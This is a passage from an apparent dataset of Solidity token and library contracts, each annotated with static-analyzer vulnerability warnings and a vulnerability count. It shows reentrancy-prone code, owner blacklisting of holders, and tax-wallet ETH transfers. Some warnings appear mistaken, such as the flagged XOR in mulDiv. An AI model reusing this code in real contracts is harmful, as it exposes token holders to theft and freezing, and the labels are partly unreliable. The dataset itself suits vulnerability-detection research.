_balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\ninterface IUniswapV2Factory {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router01 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n}\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {}\n\ncontract PepethePeplicator is ERC20 {\n uint256 private constant TOTAL_SYLPITY = 420690_000_000e9;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 0b25d5d): PepethePeplicator.DEAD shadows ERC20.DEAD\n\t// Recommendation for 0b25d5d: Remove the state variable shadowing.\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 09e7b6f): PepethePeplicator.ZERO shadows ERC20.ZERO\n\t// Recommendation for 09e7b6f: Remove the state variable shadowing.\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n bool public hasLimit;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3f1bcb0): PepethePeplicator.maxTxAmntesentens should be immutable \n\t// Recommendation for 3f1bcb0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxTxAmntesentens;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d44fff8): PepethePeplicator.maxwaltesentens should be immutable \n\t// Recommendation for d44fff8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxwaltesentens;\n\n mapping(address => bool) public isException;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0c8c9aa): PepethePeplicator.burnslpowsdent should be constant \n\t// Recommendation for 0c8c9aa: Add the 'constant' attribute to state variables that never change.\n uint256 burnslpowsdent = 0;\n\n address uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2344cfa): PepethePeplicator.uniswapV2Router should be immutable \n\t// Recommendation for 2344cfa: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 uniswapV2Router;\n\n constructor(\n address router\n ) ERC20(\"Pepe The Peplicator\", \"$PEPLICATOR\", TOTAL_SYLPITY) {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);\n\n uniswapV2Router = _uniswapV2Router;\n\n maxwaltesentens = TOTAL_SYLPITY / 50;\n\n maxTxAmntesentens = TOTAL_SYLPITY / 50;\n\n isException[DEAD] = true;\n\n isException[router] = true;\n\n isException[msg.sender] = true;\n\n isException[address(this)] = true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _checkLimitation(from, to, amount);\n\n if (amount == 0) {\n return;\n }\n\n if (!isException[from] && !isException[to]) {\n require(\n balanceOf(address(uniswapV2Router)) == 0,\n \"ERC20: disable router deflation\"\n );\n\n if (from == uniswapV2Pair || to == uniswapV2Pair) {\n uint256 _burn = (amount * burnslpowsdent) / 100;\n\n super._transferlentsy(from, to, amount, _burn);\n\n return;\n }\n }\n\n super._transfer(from, to, amount);\n }\n\n function _checkLimitation(\n address from,\n address to,\n uint256 amount\n ) internal {\n if (!hasLimit) {\n if (!isException[from] && !isException[to]) {\n require(amount <= maxwaltesentens, \"Amount exceeds max\");\n\n if (uniswapV2Pair == ZERO) {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(address(this), uniswapV2Router.WETH());\n }\n\n if (to == uniswapV2Pair) {\n return;\n }\n\n require(\n balanceOf(to) + amount <= maxwaltesentens,\n \"Max holding exceeded max\"\n );\n }\n }\n }\n\n function removeLimit() external onlyOwner {\n hasLimit = true;\n }\n}\n",
"file_name": "solidity_code_10758.sol",
"size_bytes": 13461,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract TERESA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f2c3366): TERESA._taxWallet should be immutable \n\t// Recommendation for f2c3366: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: e50f071): TERESA._initialBuyTax should be constant \n\t// Recommendation for e50f071: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: cfdce3e): TERESA._initialSellTax should be constant \n\t// Recommendation for cfdce3e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d8672bb): TERESA._reduceBuyTaxAt should be constant \n\t// Recommendation for d8672bb: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: f3d4245): TERESA._reduceSellTaxAt should be constant \n\t// Recommendation for f3d4245: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 578923c): TERESA._preventSwapBefore should be constant \n\t// Recommendation for 578923c: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 10;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Teresa Goody Guillén\";\n\n string private constant _symbol = unicode\"TERESA\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 25aa288): TERESA._taxSwapThreshold should be constant \n\t// Recommendation for 25aa288: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: dacf52e): TERESA._maxTaxSwap should be constant \n\t// Recommendation for dacf52e: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: af412b3): TERESA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for af412b3: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ff08fd2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ff08fd2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: efb6c89): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for efb6c89: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: ff08fd2\n\t\t// reentrancy-benign | ID: efb6c89\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: ff08fd2\n\t\t// reentrancy-benign | ID: efb6c89\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2db7f50): TERESA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2db7f50: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: efb6c89\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: ff08fd2\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a9493cc): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a9493cc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2d07c10): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2d07c10: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: a9493cc\n\t\t\t\t// reentrancy-eth | ID: 2d07c10\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: a9493cc\n\t\t\t\t\t// reentrancy-eth | ID: 2d07c10\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 2d07c10\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 2d07c10\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 2d07c10\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: a9493cc\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 2d07c10\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 2d07c10\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: a9493cc\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: ff08fd2\n\t\t// reentrancy-events | ID: a9493cc\n\t\t// reentrancy-benign | ID: efb6c89\n\t\t// reentrancy-eth | ID: 2d07c10\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function manualSend() external onlyOwner {\n uint256 contractBalance = address(this).balance;\n\n require(contractBalance > 0, \"No ETH available in the contract\");\n\n _taxWallet.transfer(contractBalance);\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 27fb3d1): TERESA.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 27fb3d1: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: ff08fd2\n\t\t// reentrancy-events | ID: a9493cc\n\t\t// reentrancy-eth | ID: 2d07c10\n\t\t// arbitrary-send-eth | ID: 27fb3d1\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7991fd5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7991fd5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2b0478e): TERESA.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 2b0478e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7d52a04): TERESA.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 7d52a04: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e41c029): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e41c029: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 7991fd5\n\t\t// reentrancy-eth | ID: e41c029\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 7991fd5\n\t\t// unused-return | ID: 7d52a04\n\t\t// reentrancy-eth | ID: e41c029\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 7991fd5\n\t\t// unused-return | ID: 2b0478e\n\t\t// reentrancy-eth | ID: e41c029\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 7991fd5\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: e41c029\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10759.sol",
"size_bytes": 19755,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\ninterface IERC165 {\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n\ninterface IERC721 is IERC165 {\n event Transfer(\n address indexed from,\n address indexed to,\n uint256 indexed tokenId\n );\n\n event Approval(\n address indexed owner,\n address indexed approved,\n uint256 indexed tokenId\n );\n\n event ApprovalForAll(\n address indexed owner,\n address indexed operator,\n bool approved\n );\n\n function balanceOf(address owner) external view returns (uint256 balance);\n\n function ownerOf(uint256 tokenId) external view returns (address owner);\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes calldata data\n ) external;\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n function transferFrom(address from, address to, uint256 tokenId) external;\n\n function approve(address to, uint256 tokenId) external;\n\n function setApprovalForAll(address operator, bool approved) external;\n\n function getApproved(\n uint256 tokenId\n ) external view returns (address operator);\n\n function isApprovedForAll(\n address owner,\n address operator\n ) external view returns (bool);\n}\n\ninterface IERC721Receiver {\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n\ninterface IERC721Metadata is IERC721 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function tokenURI(uint256 tokenId) external view returns (string memory);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Math {\n error MathOverflowedMulDiv();\n\n enum Rounding {\n Floor,\n Ceil,\n Trunc,\n Expand\n }\n\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n return (a & b) + (a ^ b) / 2;\n }\n\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n if (b == 0) {\n return a / b;\n }\n\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: b86f041): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for b86f041: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: e8c7e61): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse = (3 * denominator) ^ 2\n\t// Recommendation for e8c7e61: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: f148ae6): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division prod0 = prod0 / twos result = prod0 * inverse\n\t// Recommendation for f148ae6: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: decd9ab): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for decd9ab: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: efc3a9b): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for efc3a9b: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: f04b5d5): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for f04b5d5: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: adbffc8): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for adbffc8: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 4a37cf5): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 4a37cf5: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (incorrect-exp | severity: High | ID: 65ce34e): Math.mulDiv(uint256,uint256,uint256) has bitwisexor operator ^ instead of the exponentiation operator ** inverse = (3 * denominator) ^ 2\n\t// Recommendation for 65ce34e: Use the correct operator '**' for exponentiation.\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n unchecked {\n uint256 prod0 = x * y;\n\n uint256 prod1;\n\n assembly {\n let mm := mulmod(x, y, not(0))\n\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n if (prod1 == 0) {\n return prod0 / denominator;\n }\n\n if (denominator <= prod1) {\n revert MathOverflowedMulDiv();\n }\n\n uint256 remainder;\n\n assembly {\n remainder := mulmod(x, y, denominator)\n\n prod1 := sub(prod1, gt(remainder, prod0))\n\n prod0 := sub(prod0, remainder)\n }\n\n uint256 twos = denominator & (0 - denominator);\n\n assembly {\n\t\t\t\t// divide-before-multiply | ID: b86f041\n\t\t\t\t// divide-before-multiply | ID: e8c7e61\n\t\t\t\t// divide-before-multiply | ID: decd9ab\n\t\t\t\t// divide-before-multiply | ID: efc3a9b\n\t\t\t\t// divide-before-multiply | ID: f04b5d5\n\t\t\t\t// divide-before-multiply | ID: adbffc8\n\t\t\t\t// divide-before-multiply | ID: 4a37cf5\n denominator := div(denominator, twos)\n\n\t\t\t\t// divide-before-multiply | ID: f148ae6\n prod0 := div(prod0, twos)\n\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n prod0 |= prod1 * twos;\n\n\t\t\t// divide-before-multiply | ID: e8c7e61\n\t\t\t// incorrect-exp | ID: 65ce34e\n uint256 inverse = (3 * denominator) ^ 2;\n\n\t\t\t// divide-before-multiply | ID: 4a37cf5\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: decd9ab\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: f04b5d5\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: b86f041\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: efc3a9b\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: adbffc8\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: f148ae6\n result = prod0 * inverse;\n\n return result;\n }\n }\n\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator,\n Rounding rounding\n ) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n\n if (unsignedRoundsUp(rounding) && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n\n return result;\n }\n\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 result = 1 << (log2(a) >> 1);\n\n unchecked {\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n return min(result, a / result);\n }\n }\n\n function sqrt(\n uint256 a,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n\n return\n result +\n (unsignedRoundsUp(rounding) && result * result < a ? 1 : 0);\n }\n }\n\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n\n result += 128;\n }\n\n if (value >> 64 > 0) {\n value >>= 64;\n\n result += 64;\n }\n\n if (value >> 32 > 0) {\n value >>= 32;\n\n result += 32;\n }\n\n if (value >> 16 > 